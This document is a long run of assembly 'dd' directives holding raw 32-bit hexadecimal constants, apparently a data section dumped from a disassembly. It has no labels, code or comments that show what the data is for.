dd 585F9279h, 7D3B00F9h, 0AA0F861Ah, 0F400BCFEh, 7AAC7C2Dh
dd 7BC1FB4Eh, 38636072h, 5421F829h, 79901C4Ch, 61664500h
dd 654E35EFh, 627C00B0h, 3D393A20h, 40CE7A8h, 0A808C416h
dd 37D3006Ah, 1591A45Eh, 1400D2B2h, 399B27FEh, 43D9A6h
dd 88E2AB9Dh, 0D5A529A4h, 0EFFD6A0Eh, 1A075F4Fh, 0F433C0BFh
dd 216ED95Ah, 76F3A0DCh, 49000E1h, 983C8ACEh, 2A00268Fh
dd 1CF95FADh, 0DC58B9h, 99813E21h, 75460810h, 1A978800h
dd 0F7AB723Fh, 0FB2100A9h, 766D8EA3h, 0B509EED8h, 0E6CC8Bh
dd 680C4625h, 7DFD00EAh, 43F7C3F4h, 940095FEh, 6F3CD428h
dd 0F6B688h, 0FBB9204Dh, 2B43EF12h, 0D323C900h, 5863925Bh
dd 490C00A2h, 0ADD1A4B8h, 7F00766Ch, 68F97AAAh, 3822E4CBh
dd 740008EBh, 3B136A0Fh, 0CD0F1A14h, 40DEB128h, 4C78D82Ah
dd 0D3A00169h, 82654255h, 0ADF3C87Ah, 23B20F07h, 0A9303852h
dd 1A6E736h, 19178583h, 0F8269928h, 4A3E0EF2h, 0D325803Fh
dd 40A784CBh, 6E00002h, 2DFFAAF6h, 347AF305h, 0EE0F9400h
dd 21D552EAh, 0E4C0A0B0h, 5AB3106Ch, 61AE1CF9h, 2233E0C0h
dd 44D0AFh, 0D87BCAF3h, 0ED6B65CEh, 5C3C9F00h, 621B13F9h
dd 0C17E7Eh, 8F8B484Fh, 8055DDC8h, 37ECB300h, 693B60F0h
dd 2F188084h, 58F54Dh, 1E70C0FBh, 0F04E8911h, 0EE4A004Bh
dd 71ABB2Ch, 0B800738Eh, 0ACDAEA14h, 98FC9733h, 0C3E30030h
dd 8167D136h, 3501ABF3h, 4ABE2637h, 0D0C332E8h, 0B0E2719h
dd 0D276C29Dh, 29965C00h, 9C1E74B0h, 5104DFDDh, 0E4C04134h
dd 1E2B1Ch, 6554615Eh, 0B33D9627h, 0AB7FC200h, 7A59FC3h
dd 1E62EE3Ah, 0C0ADFD21h
dd 723CD50Ah, 0E0192D1h, 8332899h, 7CF475BFh, 6CCA0046h
dd 0E4B4B03Ch, 200C8027h, 78D4471Fh, 5BB720E0h, 0E8FD65FAh
dd 7E003B33h, 0FB64F99Fh, 2DDA02h, 0EF16C6A5h, 608C6F65h
dd 7C6D5C00h, 1A31218Fh, 77BF1FA6h, 7DA140B2h, 60D63EE9h
dd 0FDA5B400h, 0BC657F25h, 8B2900E4h, 0AA65F10h, 0D70082F7h
dd 1A36D92Eh, 13AA89EBh, 37C34Dh, 0BBBE41C4h, 0CB00477Bh
dd 4514868h, 21A2EB3h, 8F44258Ch, 90C0BD5Ch, 0CD0087CAh
dd 86234BBEh, 180CE4B5h, 59DA58D5h, 0E300F8DBh, 6CD36E84h
dd 9E9BF2Dh, 0E5AD0938h, 1FD8D480h, 48001173h, 39C747E8h
dd 58D18BEh, 7DE95121h, 6689017h, 91398A28h, 54598142h
dd 3265C6Ch, 0F62CCCh, 8FBECEF9h, 4E323F6Eh, 9D0FD498h
dd 0FB26C8h, 0A7858D0h, 0A8DE5D3Ch, 9FD15403h, 11003ABFh
dd 4C4537DFh, 29F65521h, 1B82E0Bh, 0C0C87B62h, 188C7491h
dd 3304520Bh, 0CF687E8h, 2CD0ECC0h, 9C4401D3h, 0C094C83Bh
dd 0B0C84046h, 0B1008DD7h, 28626369h, 2CFE537h, 0B6050EC1h
dd 46115BEh, 0EAADF066h, 0C0E0C600h, 7F4BE883h, 600A0070h
dd 0D5F1979Fh, 0A40B4696h, 8F1923BAh, 433C008h, 906874h
dd 0A73EC08Eh, 1DFBCBE7h, 871626E0h, 20005C80h, 4D1E9D12h
dd 0A94E03E8h, 8B1AAC57h, 0E6F88AA9h, 0AA7849h, 24882AFFh
dd 1E60052Fh, 829D80A5h, 94375A3h, 48EE460Fh, 0A18467F5h
dd 0ADA2C80h, 0F72100AAh, 470F4F90h, 8700D119h, 15D32B7Bh
dd 5C24B862h, 7800B93Bh, 86E892E2h, 99FE1CCDh, 0FEF63Bh
dd 7136450Ah, 2D4B160h, 479D41A0h, 0B61D5C8h, 56F7D0A2h
dd 515D1F03h, 27573h, 893EF0B0h, 0DFAF2B85h, 5F3D648h
dd 0F426A1BEh, 0D800B016h, 0F0ABF820h, 0F32A00DFh, 4A6EB74Bh
dd 0B40B9BDBh, 0D39892h, 49E4CAD7h, 6069582Dh, 0E210C430h
dd 80393BAAh, 0EAD4006Fh, 0EE73125Bh, 99C9126Eh, 8F044244h
dd 9050CB55h, 79A76Eh, 5E89090Dh, 4DEEED6h, 0B8C24FCAh
dd 0A6B68175h, 9880F07Dh, 3468F401h, 6C93C96Bh, 51A55180h
dd 95468A4Fh, 5D002898h, 0CCD8E674h, 14A099Eh, 28A035AAh
dd 603E73B8h, 170E5BE7h, 67C8AEF9h, 0C390C9EEh, 5278B4Dh
dd 0E520388h, 76E9C073h, 0F00FFE1h, 5C2DA79Dh, 77C91944h
dd 21610695h, 9C0DA37Ch, 5E5FE800h, 7F0B4732h, 9DA0C42Dh
dd 0EBD340F0h, 0BE8B0Ch, 19C61F77h, 1C2BEA98h, 39C8E58h
dd 0BACE623Dh, 0C98DC8C2h, 7DF8047Eh, 0A1595A4Ah, 1B8BF4D4h
dd 0F6F4683Eh, 0D9C698A0h, 5A00EC7Fh, 0DD998E78h, 0CECA39h
dd 36178823h, 50570C7Ah, 461E70B8h, 99C0471Ah, 13542570h
dd 48E0082h, 0E1804526h, 0C300ECD0h, 3E1714EAh, 775FFCBh
dd 0A3B7B612h, 0B2664029h, 0AEFAA268h, 9100D5B8h, 57EA3C9Dh
dd 26EB40DFh, 2088F5h, 45CA9F7Bh, 9000FE1h, 0D8E4DB3h
dd 7EC0B46h, 2AD5E336h, 3BA2F078h, 9B078956h, 0A10F302Eh
dd 0E3E964D0h, 10CA0453h, 0C0CD3168h, 309F462Fh, 7F4C7900h
dd 33F31E0Ch, 108F0185h, 6018B9DAh, 1660C2B2h, 0E9006DE2h
dd 0BD64DF86h, 2E9F3Ch, 62AE391Dh, 4BECEABAh, 0C1433200h
dd 0D023F5Dh, 6ACB0092h, 238D73DDh, 6B00FD9Ch, 494E54F0h
dd 360346h, 8C5051CAh, 0BA2D693Dh, 0FCF9DE1Dh, 74727D80h
dd 3217BFh, 4C332946h, 524A30D9h, 5375FE03h, 4D8E0Dh, 0B0FCD648h
dd 5A4BA132h, 0E1A94001h, 26BF653Ch, 0A0D834h, 80F6A257h
dd 90BCDFACh, 0D2266773h, 7681B02Bh, 0E0D5968Bh, 1B55D4h
dd 1D148650h, 8F54DD8Ah, 0B4C60A00h, 0D3E3F4FDh, 5F590041h
dd 36305215h, 2489263h, 7C9B00EEh, 55588745h, 33FA003Ah
dd 7A4C0D27h, 0AC00743Dh, 0EE6C7C1Ch, 0C0C64EB0h, 95B96A78h
dd 5E38032Bh, 32E1002Eh, 76DB5F05h, 0E98A01FAh, 6F0C25DFh
dd 5508DC10h, 0E824C0E4h, 0FD0074C5h, 17633B5Bh, 12AEE3Dh
dd 2DF17EEEh, 0D0439354h, 28C0A592h, 42B9AF86h, 2E7A0017h
dd 90622CCDh, 9E12C881h, 94039D9Bh, 0D30D4641h, 0DECDE174h
dd 3D2A5870h, 38004862h, 712D4DBFh, 0BA03E26Fh, 0D828293Ch
dd 0F35DE864h, 86B10069h, 0A3FF81F9h, 0E61D70D5h, 0ED01777Eh
dd 698A11FEh, 0B0DDF7CCh, 4D990742h, 60C00AC2h, 29131D26h
dd 74AC5800h, 1B7B3AE7h, 976700CFh, 7FE6515Eh, 2800BCC1h
dd 2231AB5Ch, 409C10h, 5387DFEFh, 32EE01D4h, 3FEAE604h
dd 0C0C25C5Ah, 2618C6B2h, 14C3081h, 78AA502Dh, 32506066h
dd 0A5A37B00h, 1F3AADD1h, 766C00B4h, 7E0C5A5Dh, 0E824E350h
dd 8300ED63h, 0CF110904h, 32981DB6h, 75EA4F21h, 232D1320h
dd 3400862Bh, 0DC1B4C8h, 0FEB1DECEh, 22170085h, 819D7170h
dd 8600CAA5h, 0E283EFAh, 7F9F257Fh, 6154029Bh, 938A913Bh
dd 0A81E1CC8h, 0CB75DD00h, 92830A26h, 0C2530147h, 0A23AEF17h
dd 0EC2970FBh, 0E7B3DA00h, 82E39312h, 94AD003Fh, 19FA8340h
dd 7E00B8EDh, 6807DB3Ah, 132EF267h, 1FC51B1Eh, 0A6C000E8h
dd 0A815998Dh, 4600E7E2h, 0EC9CA319h, 0F0F7005h, 0AADFFC6h
dd 6217F980h, 515C7DFDh, 74760018h, 0F0BA8892h, 67350047h
dd 2234668Ch, 290E2336h, 0F34EBEB7h, 0D40DA840h, 3BBA05Fh
dd 6FED7E01h, 480253D5h, 8F71CB84h, 0D19EC038h, 0F2D81E41h
dd 0D4FDC0EDh, 7CD94C1h, 0A859700h, 593C7880h, 6E380F32h
dd 0B24088A2h, 0E5EA1223h, 0F5503709h, 1D9E03C8h, 32A5D080h
dd 7132CC9h, 2025960Ch, 2496E100h, 2D225200h, 6BBE7CA4h
dd 0C9F48EFh, 86F59100h, 0FA248BD7h, 16E5FF18h, 16335C58h
dd 802B89E3h, 92EB5D08h, 2DF6C20Eh, 858C40CEh, 69DD0DEh
dd 0BE099071h, 0B3007917h, 7E6F9152h, 928C59Ch, 48A6151Bh
dd 8FA7C483h, 94A013DAh, 91B7C4FCh, 2903ACB2h, 73569BA8h
dd 0FF169806h, 327400CCh, 0EE6172C5h, 0D4249E11h, 0D201EC2Fh
dd 0E1FC70C3h, 0E274880h, 0D97CF97Eh, 0FE64C00h, 0EF811CA8h
dd 0EEEC7D8Fh, 656C00A1h, 0A414B99Dh, 602D5DDh, 8915DA23h
dd 838080CBh, 930CFCh, 280E2633h, 0D321D931h, 7C741B01h
dd 0D4999F39h, 2EC360h, 0F47DD726h, 2EC2DFCh, 0C8443Eh
dd 8748AADBh, 3E4D831Ch, 0F700EBDFh, 2FEA519Eh, 0E2EEAF2Dh
dd 0A5E6B00h, 0A9E11C3Fh, 0D24F01CBh, 0FD5AF175h, 0D019D5CAh
dd 0EBFE5E57h, 0BF1A6800h, 69E2F49Fh, 7BB04Fh, 0F5150160h
dd 0E05A460Eh, 6C33FC00h, 3C23DBB2h, 0CECB0087h, 45044B08h
dd 9C5C4817h, 432C0034h, 0A9D935Ah, 58A9002Fh, 4753B116h
dd 4D0581C4h, 171C0CBh, 0CC00CC56h, 0CC8BCE72h, 1D5875DAh
dd 0CF8CBFC1h, 2B8092F4h, 2D4E7E7Ah, 30931613h, 19F23900h
dd 3CC0DB5h, 61C52118h, 15985036h, 0A81287F6h, 2C011953h
dd 372D4FD7h, 108018D9h, 0F643BB6Bh, 0CA01D071h, 6EE70942h
dd 31800C0Eh, 0E4827B12h, 0E21D35E1h, 0BC80E0A7h, 4F47AADAh
dd 0EF7D030Ch, 0B03C306Eh, 240BB7A8h, 9E235317h, 7D8A9B03h
dd 0C7A9A808h, 8EBB00B4h, 3AAF89A7h, 91007A16h, 45696C63h
dd 26FABC2Bh, 0DA85AAh, 7E4F07F9h, 0B1000DDDh, 6001A7DEh
dd 0D8E439h, 0E9D73877h, 0EEEFB6C9h, 0D14C5BEEh, 0BFCF0011h
dd 0FD7520B9h, 15B000C8h, 4998485Dh, 13031A7Eh, 84E4E5FBh
dd 39B6B82Bh, 37EA30B9h, 6FC73FC8h, 87C50B00h, 73DAFA44h
dd 6926003Ah, 7E95D534h, 8AFCAB04h, 8B3F3972h, 7A48000Fh
dd 72FEEBD9h
dd 0EFBB0269h, 5F9C7C5Dh, 0D089DB80h, 7D00E7B7h, 0E304A0C4h
dd 1C1A7959h, 9E63659Eh, 4170C057h, 4754A235h, 9CEC001h
dd 0F3672EE8h, 0B864AADCh, 56D124E0h, 0FD0F003Dh, 0BED05005h
dd 1FA38C3Eh, 67C0E39Fh, 1918F9BAh, 7FF50129h, 0CE2A3843h
dd 63DF4094h, 2F009CA0h, 15720281h, 31D9AACh, 5BCA773Eh
dd 0A1CFC371h, 0F0EEBF34h, 227AA70Fh, 7D5C5600h, 0C485C533h
dd 0E0FC09h, 0AC0482F9h, 6DC089D9h, 804F993Ch, 48F05C2Dh
dd 980FA9h, 55FADBCEh, 0F6B02801h, 91D71100h, 0B8A4C5CBh
dd 0F8DE48B5h, 1701E3Fh, 0DA3F369h, 0E8FEB43Eh, 0E200FB33h
dd 0E363C001h, 0EA9625F6h, 0FD7A51h, 0AA364F3Fh, 0F9C68BD3h
dd 0BCAC6F00h, 1CA50EEDh, 730900B1h, 5F9058CFh, 5200448Eh
dd 16D262E3h, 77920DD8h, 0CD7BD6h, 13885896h, 0DF4F1E55h
dd 20C0DEEAh, 8BB99FC6h, 68536049h, 961ED247h, 7201C078h
dd 9E73A32Fh, 889E9ABBh, 2510F12Dh, 0C06B13B5h, 7F0BF0h
dd 19553AF3h, 0FD33A156h, 91EF5C16h, 0C8E7300h, 732BBCh
dd 0B75B0317h, 82D4438Fh, 80C6B63Ah, 0D1E8EE72h, 758428A9h
dd 3F270057h, 8E168B9Bh, 0B603830Eh, 9612D2ACh, 3300FBCh
dd 506E36BEh, 0C40090F5h, 4B135316h, 83038A73h, 7B2FDC1Bh
dd 0ADEEC0D7h, 523800CFh, 170E0297h, 12001E8Ch, 0BB561040h
dd 9CCA44h, 0EA966DDDh, 0A67174B5h, 0F19F7500h, 9E8AB8D9h
dd 1E5CFAD2h, 0F0E929h, 38E6D126h, 0DC00D402h, 0E086FA6Ch
dd 426FA4h, 0F12D9380h, 6BCC318h, 883E2C07h, 0FB401E62h
dd 1D71454Bh, 0C7980C5h, 35C14182h, 22002998h, 0DC2B1D9Ch
dd 61F20DC9h, 2F3B160Bh, 78299444h, 0CD020999h, 0FE00025h
dd 2AA99665h, 26E055F9h, 80505234h, 98EA42A4h, 78608D0Fh
dd 0C11DF041h, 41E1002Eh, 0B6D8529Fh, 0DA04E475h, 0BC0AAFA1h
dd 0C653BC80h, 3FE004Bh, 0D9285F09h, 1300CC51h, 36F36272h
dd 0A03DD0ABh, 19BDAC0h, 37C6208Eh, 0EC847EF2h, 0BC03F688h
dd 0E795C03Fh, 0C68DC8ACh, 0A2560698h, 0A137DE78h, 14002DF2h
dd 7AF9FCCDh, 37153E6Fh, 52C94C5Eh, 60FB6D2h, 0C1748Dh
dd 0E0461941h, 0A3511F8Bh, 5A9F4407h, 0BF809131h, 1975B8D1h
dd 31728D73h, 0EBDAC45Dh, 238BBC1Fh, 300EBB00h, 31F47Bh
dd 0D04BC42Ch, 0F6032A39h, 17075000h, 5136CE54h, 0B9A93ABBh
dd 0DCCD2500h, 571BE8F7h, 0C849BD06h, 60088D3Fh, 0BFFE2105h
dd 4000FCE8h, 7DF18CEBh, 1950F2A0h, 5152AB5Ah, 0E8FC19BCh
dd 0D5571026h, 8903C848h, 8880BA15h, 0F8BD3ABFh, 63D5B200h
dd 0FEDE2846h, 0A8EF3F68h, 4C508E80h, 55EBAF6Dh, 0BCCCD401h
dd 0EE04E608h, 7F941041h, 0BC755906h, 3567E001h, 0D9181E52h
dd 0BDC12880h, 0B7CAEFFBh, 0CCD34B18h, 80E7FF10h, 0B6018DF0h
dd 0EEDF369Ch, 98E401C8h, 778900C1h, 28DAFB55h, 0F6017374h
dd 389EA541h, 0B8801434h, 3710C2D7h, 0EC4BFDADh, 0FEAA1BF0h
dd 0F8E0011h, 0C2FA61C0h, 981D6CFFh, 0DA072DF3h, 0ACF06A50h
dd 0C4B2963h, 0F944BA7Dh, 3900AE52h, 93DE9998h, 402560h
dd 0ADB2C742h, 5BF154D6h, 7B1B6400h, 94EABE77h, 0B46B1D7Dh
dd 0D1C0402Ah, 0E01A5040h, 10396207h, 128063D7h, 27FE9h
dd 15489B21h, 270AE082h, 65B6A807h, 0BCF0C839h, 644B1253h
dd 21542981h, 0DC12AEAAh, 2E22D213h, 0CD841A08h, 3008B15Ah
dd 22262142h, 9D2214CCh, 7E442281h, 0DD75600Eh, 1FE9AB8h
dd 0A9100F18h, 0CCC0DF4Ah, 30002E38h, 0BDC2EBCEh, 94E508h
dd 0EA18E40Ch, 0BC4C63BEh, 0DCD938h, 0C88F4F55h, 0EEEE25Ah
dd 680A7B83h, 3B20B60Fh, 3194C656h, 84C251Fh, 9E571880h
dd 0E42E5D44h, 428728E9h, 0FBF00FA1h, 0B200EA3Dh, 0F822627h
dd 4C16A500h, 908563DEh, 0DCEE19h, 0F3F92150h, 0E32B8B1Ah
dd 0E44CDF00h, 2341D9A3h, 0EC1E0117h, 0EEC6EDF1h, 0B899F024h
dd 0FA18C000h, 0A46042E8h, 0EC441F09h, 2A04C0B6h, 0FE6140E9h
dd 1F46DD14h, 13B01EE0h, 855488C0h, 7C608Dh, 52AA06B9h
dd 0FA7D59FFh, 0EF042A0Fh, 0D43C406Ah, 0E8D45FDh, 0E7B066BCh
dd 353ADC0h, 6C1EAF14h, 7AC1CF67h, 72D3A6DFh, 75509E60h
dd 65AA00DBh, 55A50746h, 7507864Eh, 3CE98120h, 0AAF4D690h
dd 0ECB1006Eh, 0F7718277h, 0B00EBB0h, 76CB45ABh, 2AEA4Dh
dd 847AE6B8h, 0E0A9E95Ch, 82B2EC00h, 0A84CBE86h, 5981015Fh
dd 5E89B76h, 0B597FF7Ah, 13A4003Ah, 92673518h, 1848700h
dd 6082D8F1h, 0ED863EE9h, 0D7F20484h, 0ADC980C9h, 3B009BC2h
dd 32DA01Eh, 6C192Fh, 0C52C8DF8h, 91E12928h, 0B61CE00h
dd 0BC3AEE9Bh, 382FFCF6h, 7D0014BAh, 678E9A5Dh, 0A30431F5h
dd 2CCFB398h, 0B759880h, 0F2460795h, 1FADEA66h, 1CE0BBEEh
dd 0CC4D05CAh, 0F8006DB8h, 1A913A1Bh, 0E57BA8h, 0BE533C90h
dd 4DC3E337h, 74076577h, 58E861FAh, 0A0EC4743h, 67D3A52h
dd 0DC1228E6h, 5E00F85Ch, 23324E0Fh, 14878Ah, 0C5E430CCh
dd 0CDCF593Ch, 4C8C7424h, 84D2F787h, 293053B0h, 85075C1Dh
dd 4B46B201h, 20CA699Ch, 3A00B638h, 2C50B59Eh, 3C20A70h
dd 6ECDD8B3h, 809F7D9Bh, 5176C3F0h, 8718F807h, 0ACA03910h
dd 9EFD236h, 7030AD4Dh, 0CF054002h, 9C903824h, 0DFFA7Bh
dd 21301CBDh, 0DD161E19h, 0ACA8A03h, 0E0E1BB0Bh, 0BD8857h
dd 0EDF6D442h, 8B1F5539h, 5F026A00h, 0EA5727ACh, 0EC3F398Dh
dd 0A2E6F00h, 526C9A5Ch, 0D3DDCC00h, 0F9E36527h, 56040610h
dd 0C8F6E2D6h, 1E098400h, 0D8224799h, 5EA0032Fh, 29354883h
dd 65734688h, 950070FCh, 1D9D1B4Dh, 7B5F4CCDh, 27AE006Dh
dd 0B932A3EAh, 8603F4B1h, 0FE494613h, 8CC0E483h, 9F6A30AAh
dd 121C18E0h, 0F844C05h, 0EC80FC60h, 1FA56C32h, 40FE86B0h
dd 8B4B5101h, 0FD05A0D4h, 68784817h, 99107DC0h, 16843A31h
dd 882293h, 7564443Ch, 0C27A1402h, 11B1E700h, 0EFD56FA2h
dd 86A000F1h, 9E0B4147h, 0D000D824h, 837944D9h, 4392A3h
dd 21E1AB15h, 4B741705h, 910F06C0h, 489ECBBAh, 8507FC29h
dd 8519697Ch, 86AC006Fh, 0A8D541B8h, 0CBA35C1Eh, 0C7CD1931h
dd 354DCECh, 3AC1AECAh, 0AFC08EEBh, 0FE0A46E6h, 0F826AD9Eh
dd 38E6771Dh, 4872F442h, 55B3E40h, 1EB027F8h, 1CE80108h
dd 0D85ED8D6h, 1B0353F5h, 8C3B4C14h, 0D87AAB41h, 7F0D2Fh
dd 8DCB4FB2h, 1F2E9509h, 0FC1DDCEDh, 2AECA550h, 5581D702h
dd 0C05A618Fh, 833C58h, 7E67590Bh, 1B92A679h, 6FE65206h
dd 3781F4Ah, 0FEAC2588h, 14802A5Bh, 5E035486h, 847CAB7Bh
dd 0DB582C33h, 4A370285h, 0C1DF7ABAh, 60BF557Ah, 0D1278480h
dd 8AF0F1D6h, 7D2E6A3Bh, 93D98C01h, 3397E7A7h, 6BF1A8DFh
dd 465F0BEDh, 0E574423h, 4B2F40E7h, 19C296h, 1BE3BE32h
dd 4EA931D0h, 0FAC69E00h, 6E59E176h, 0F1D400BDh, 4B8BC821h
dd 2400D0D9h, 0D345347h, 3C692022h, 8007BA6h, 48F58E45h
dd 837ED0DEh, 2C48D478h, 83953E44h, 450E9D3Ah, 0C9648802h
dd 150B0096h, 0C28786A9h, 35023AC5h, 0A459E232h, 99E08017h
dd 25921Ch, 584CBB3Bh, 8BBF3081h, 6F005675h, 0D8CAA178h
dd 7F4D5B2Ch, 0CC8A3AC0h, 855F3580h, 0A5F2EAB9h, 14E242EAh
dd 0C544FC0Fh, 2F08C374h, 1629A068h, 20E0FB9Ch, 86F824C3h
dd 3550005Fh, 0FE454F6Ch, 0B7842100h, 68B18DA2h, 393B09E7h
dd 88007EBEh, 650B0547h
dd 0FA56C806h, 358AC84h, 9C194985h, 3BF0E7C2h, 0A82CC786h
dd 94073FA0h, 7E40C4E6h, 405C80h, 0F4539C9Bh, 0D8238B95h
dd 0F00B8807h, 1AD01833h, 0F130F690h, 14EE70h, 0E926AEBBh
dd 8D2AADF9h, 115A5E00h, 0CDEAC1FAh, 0C6F41FEEh, 769D4063h
dd 0CDA850Fh, 5B23F001h, 0CAE88F90h, 525FAC80h, 0E959740h
dd 0C7A4DE00h, 7D773444h, 98C20106h, 242B52E3h, 60DBFC0Ch
dd 34A2AF00h, 0B3ED0E50h, 99515CBEh, 4D27A400h, 6FA9774Ah
dd 9BCF1900h, 977895DEh, 6C4E0F14h, 0D3C0B4E6h, 7338E582h
dd 85D08400h, 0E325D846h, 7B780CF5h, 0EE1872E6h, 93516501h
dd 0C658E549h, 4687D0FBh, 55E01F4Dh, 7BD480EBh, 0BC13AF7Ah
dd 0A9AABB00h, 0A6EDDDBh, 18E6078Bh, 215524FFh, 0B9E016EAh
dd 8032BF88h, 5D618A67h, 0C1F712h, 8DA704EEh, 0F018B23Eh
dd 0A6A239h, 0FB54CF31h, 0F24764EAh, 139BEA2Ch, 3C8213h
dd 16743275h, 2B02123Bh, 3E0EB21Eh, 614141F3h, 0FFF22E0h
dd 0B06C36CFh, 17B37940h, 0B500C79Ch, 19CAEE70h, 52B96h
dd 6B09BE3Dh, 1DE022D6h, 0B600C9E0h, 0E7170BCh, 0AD7CED5h
dd 0F8F54063h, 43B20090h, 2AF9BD36h, 0A71C1603h, 0D088F37Dh
dd 0C6819Ch, 660395Dh, 79CCD90Dh, 0BD4CD07h, 808AF902h
dd 0C41BC30Ah, 7A87DD80h, 2416FD75h, 2079E3BFh, 5EAC00F4h
dd 2819A176h, 825C4101h, 34850076h, 6F035127h, 0D0435016h
dd 0FB471E4h, 0C918606Dh, 0F5F90860h, 1E396CF7h, 55007FD1h
dd 0BD447897h, 60A8B2E6h, 81F2381Bh, 0E53A1C34h, 942918B8h
dd 5DF83E8h, 95D4CAC6h, 2FA40042h, 664E9B74h, 0C7450300h
dd 0A5BF2E0Eh, 28F603CAh, 8C2724E4h, 0B78070ABh, 0C6000722h
dd 152502Dh, 1F355DAh, 4253DC5Dh, 80C2CE96h, 0C051CD40h
dd 0C010714Ch, 0B6181239h, 2A003491h, 9DF4738Eh, 0E61D26A1h
dd 2E6C0005h, 70F9CAAEh, 57051E13h, 20716AC4h, 9D00B9ECh
dd 467F5069h, 130A77B6h, 0BCCB944Eh, 0AFFE3C00h, 575319h
dd 0E9F4C71Ah, 3B6E36CCh, 99E7BA1Eh, 8B54ED80h, 5FF82h
dd 747295C2h, 1D661A64h, 0BBAD9F0Fh, 0A1FEA0C5h, 26F89C3h
dd 29C4DE33h, 0A8402082h, 0E100317Fh, 10061F02h, 74ABE3Bh
dd 0B6D46F9Ah, 66FB0003h, 7E0089B7h, 0FD8DB075h, 3C2DC07h
dd 4C116FD3h, 27D01B65h, 0A2B04F95h, 318CA600h, 30345121h
dd 24907Eh, 0F7540402h, 6645B712h, 92EEEC0Ah, 6500D4CBh
dd 7A2BC61Eh, 37EA24ABh, 441180E8h, 9B547F7Dh, 45A358h
dd 0DEBADB05h, 0F0B30F10h, 63ED0CE4h, 0FC49AFD3h, 1875209h
dd 0D9420A2h, 0F2C3E4Fh, 23E2AE68h, 2EEF19B8h, 0A7F16705h
dd 0E800DC65h, 0C7A519D6h, 0FC02030Ah, 24A1A97Dh, 7822B4E8h
dd 0F4305C00h, 68D037C5h, 165E001Ah, 73B832C1h, 260351E7h
dd 9776C36Bh, 78C7888Eh, 105500CDh, 0F0E62A9Fh, 481FC25Bh
dd 0E88E4D67h, 1E4484AFh, 2F6C1C90h, 87E5007Fh, 2C10A772h
dd 0DA14E88Ah, 0EBBB18Fh, 774B3928h, 80528200h, 0F1E2F57h
dd 7BF4CBA5h, 32FA7600h, 9800B96Fh, 0AED66831h, 9FE3B5Eh
dd 0DAC450D4h, 0C80DD800h, 0E370E446h, 12C7EE00h, 48EF408h
dd 0CCE729A8h, 18F81DC0h, 159C986Fh, 81BABE3Ah, 869D7719h
dd 0C04004FDh, 39E2B2B8h, 1B806841h, 0D525A54Ch, 0BC0774E3h
dd 0D3051DC9h, 0A92CB620h, 0CE630AECh, 0D0CC3Fh, 0E6AD5255h
dd 0AC004483h, 0B0E50B75h, 2F3C51h, 1F97B113h, 0B3B27A9Eh
dd 0D10B257Fh, 80E977F5h, 8CBFD044h, 0FD2F0076h, 0DCF826FCh
dd 0D500E124h, 893244DBh, 0A2CB36h, 69BD056Dh, 8DB4262Ch
dd 0BA00457Ch, 7217C70Ah, 387166E5h, 7780785Bh, 5434F475h
dd 0F7021C76h, 6EB21947h, 0B0686086h, 43170CDEh, 6F184666h
dd 0C8B17200h, 0ED93C6F7h, 81F4009Eh, 5D4A9AE7h, 1F602957h
dd 0A24E2F28h, 0A082B083h, 664904h, 0EE1BCCBAh, 0ECE8C193h
dd 804C333Fh, 59F0DE9Ah, 28B52657h, 0BDCA81h, 547578F6h
dd 0DD439A94h, 0E20D2F03h, 7A0841Eh, 0BD386560h, 0F09C87B7h
dd 0DEF24257h, 410054FCh, 69C31DD1h, 3DE47913h, 0A9812188h
dd 455BCABh, 0AE908396h, 81F8C007h, 0D6C1D272h, 14E2F850h
dd 857F1CD0h, 9E5CC0BFh, 3E6330C8h, 0D2DF1200h, 0F45D177Dh
dd 3D1F02E1h, 39C2B31h, 0ADD66860h, 86AAEA0Ah, 0D200D4B5h
dd 9894A8BEh, 0CFC50099h, 8797A659h, 624834F6h, 0FA3E75C5h
dd 3A9E8093h, 0C947DDAAh, 0D42A3C05h, 0DEC3F503h, 0B4DB5804h
dd 5F005079h, 45EEEBDAh, 3C7B7Dh, 0B0D7D164h, 0C8F2BA12h
dd 5E15B0Bh, 8B83576Ah, 0B1D8E5C7h, 0C4B185B7h, 0F617C400h
dd 2C37326h, 0DE94201Fh, 14C8A889h, 300C7BEh, 0AF6D3408h
dd 3DB2759h, 89D5EADFh, 0FDF8384Fh, 7D7FCEFAh, 221C0A00h
dd 79ACB1FEh, 0D42339AAh, 5A491789h, 5DE1D080h, 75CA963h
dd 4FA207A4h, 86F03BF7h, 0F16F51h, 0E9FEFD38h, 0AECFAFE0h
dd 0BC3A7E0Bh, 3F2C20CCh, 0B9840FD0h, 920B8000h, 0B27EFE95h
dd 0B60068BAh, 9707C321h, 63013B66h, 240919C1h, 468081FBh
dd 7100EBB9h, 6EF8B1D4h, 5C4ED75h, 532A793Bh, 0BD53C0A0h
dd 0D8025DF6h, 0A1F352E0h, 0EA48688Ch, 0A1800D3h, 0B198E3DEh
dd 6B004474h, 67571FB4h, 1A8CBCDh, 4D30F14Bh, 6061926Ah
dd 2500B2F2h, 82CE1F65h, 12F80B76h, 1D33FFCBh, 0B5D790h
dd 1EC49520h, 7D002CC5h, 0F5DFD7AAh, 14C9751Ch, 80C3BD6Fh
dd 21F66E01h, 20F77EE8h, 0CF00A284h, 8B1360D8h, 0B38011h
dd 1E67C38Eh, 0BE49E13Bh, 2A75EC00h, 0CCBB2D24h, 0DC431801h
dd 88EBF041h, 9A35BF01h, 0FEE0950h, 8B00CFCBh, 693E97h
dd 42BF72D4h, 0DBC0E5E0h, 5009092h, 0FAD1C22Ch, 0FE090D34h
dd 748E09DDh, 9C0B088Dh, 6ADA5C02h, 0D4E11CC9h, 711E599Dh
dd 1D00E988h, 26A54BF5h, 0C16700DFh, 40FC201h, 30C0EF43h
dd 0BFCD4FB8h, 9DAC0048h, 3C4DE7A3h, 21C04903h, 2C7651C2h
dd 53902831h, 5B70C8h, 0D17F0D26h, 73B5BFFBh, 28C4F49h
dd 0B8D86E3h, 9998E0C1h, 71020092h, 931D644Ch, 35008098h
dd 4F22D3CFh, 14FB74DEh, 0E054B985h, 841FB500h, 4C45F9B0h
dd 0D04498A0h, 94FC3601h, 51066CE8h, 20AAFCh, 0F4884C23h
dd 7DA31DC7h, 0E73A2204h, 0EB8756CDh, 1C2A4EB0h, 0E5B98ADh
dd 6E8509E5h, 0C4DF6902h, 99E9BEC0h, 7E085106h, 0E062B96Bh
dd 44AF015Ah, 0E2356EAEh, 48102077h, 28F1BA00h, 4E5F346Fh
dd 0C7F8DCFFh, 0B07F7852h, 9F2BC3E0h, 0B4985600h, 60A9061Dh
dd 0E18A00CDh, 91DDD40Ch, 6C005D78h, 0C3424F82h, 3E01AE65h
